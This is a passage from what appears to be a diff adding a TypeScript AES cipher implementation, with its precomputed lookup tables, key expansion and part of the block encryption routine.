0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8]; +const T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0]; + +// Transformations for decryption key expansion +const U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3]; +const U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697]; +const U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46]; +const U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d]; + +function convertToInt32(bytes: Uint8Array): Array { + const result = [ ]; + for (let i = 0; i < bytes.length; i += 4) { + result.push((bytes[i] << 24) | (bytes[i + 1] << 16) | (bytes[i + 2] << 8) | bytes[i + 3]); + } + return result; +} + +export class AES { + readonly #key: Uint8Array; + readonly #Kd: Array>; + readonly #Ke: Array>; + + get key(): Uint8Array { return this.#key.slice(); } + + constructor(key: Uint8Array) { + if (!(this instanceof AES)) { + throw Error('AES must be instanitated with `new`'); + } + + this.#key = new Uint8Array(key); + + const rounds = numberOfRounds[this.key.length]; + if (rounds == null) { + throw new TypeError('invalid key size (must be 16, 24 or 32 bytes)'); + } + + // encryption round keys + this.#Ke = []; + + // decryption round keys + this.#Kd = []; + + for (let i = 0; i <= rounds; i++) { + this.#Ke.push([0, 0, 0, 0]); + this.#Kd.push([0, 0, 0, 0]); + } + + const roundKeyCount = (rounds + 1) * 4; + const KC = this.key.length / 4; + + // convert the key into ints + const tk = convertToInt32(this.key); + + // copy values into round key arrays + let index; + for (let i = 0; i < KC; i++) { + index = i >> 2; + this.#Ke[index][i % 4] = tk[i]; + this.#Kd[rounds - index][i % 4] = tk[i]; + } + + // key expansion (fips-197 section 5.2) + let rconpointer = 0; + let t = KC, tt; + while (t < roundKeyCount) { + tt = tk[KC - 1]; + tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^ + (S[(tt >> 8) & 0xFF] << 16) ^ + (S[ tt & 0xFF] << 8) ^ + S[(tt >> 24) & 0xFF] ^ + (rcon[rconpointer] << 24)); + rconpointer += 1; + + // key expansion (for non-256 bit) + if (KC != 8) { + for (let i = 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + + // key expansion for 256-bit keys is "slightly different" (fips-197) + } else { + for (let i = 1; i < (KC / 2); i++) { + tk[i] ^= tk[i - 1]; + } + tt = tk[(KC / 2) - 1]; + + tk[KC / 2] ^= (S[ tt & 0xFF] ^ + (S[(tt >> 8) & 0xFF] << 8) ^ + (S[(tt >> 16) & 0xFF] << 16) ^ + (S[(tt >> 24) & 0xFF] << 24)); + + for (let i = (KC / 2) + 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + } + + // copy values into round key arrays + let i = 0, r, c; + while (i < KC && t < roundKeyCount) { + r = t >> 2; + c = t % 4; + this.#Ke[r][c] = tk[i]; + this.#Kd[rounds - r][c] = tk[i++]; + t++; + } + } + + // inverse-cipher-ify the decryption round key (fips-197 section 5.3) + for (let r = 1; r < rounds; r++) { + for (let c = 0; c < 4; c++) { + tt = this.#Kd[r][c]; + this.#Kd[r][c] = (U1[(tt >> 24) & 0xFF] ^ + U2[(tt >> 16) & 0xFF] ^ + U3[(tt >> 8) & 0xFF] ^ + U4[ tt & 0xFF]); + } + } + } + + encrypt(plaintext: Uint8Array): Uint8Array { + if (plaintext.length != 16) { + throw new TypeError('invalid plaintext size (must be 16 bytes)'); + } + + const rounds = this.#Ke.length - 1; + const a = [0, 0, 0, 0]; + + // convert plaintext to (ints ^ key) + let t = convertToInt32(plaintext); + for (let i = 0; i < 4; i++) { + t[i] ^= this.#Ke[0][i]; + } + + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T1[(t[ i ] >> 24) & 0xff] ^ + T2[(t[(i + 1) % 4] >> 16) & 0xff] ^ + T3[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T4[ t[(i + 3) % 4] & 0xff] ^ + this.#Ke[r][i]); + } + t = a.slice(); + } + + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = this.#Ke[rounds][i]; + result[4 * i ] = (S[(t[ i ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (S[(t[(i + 2) % 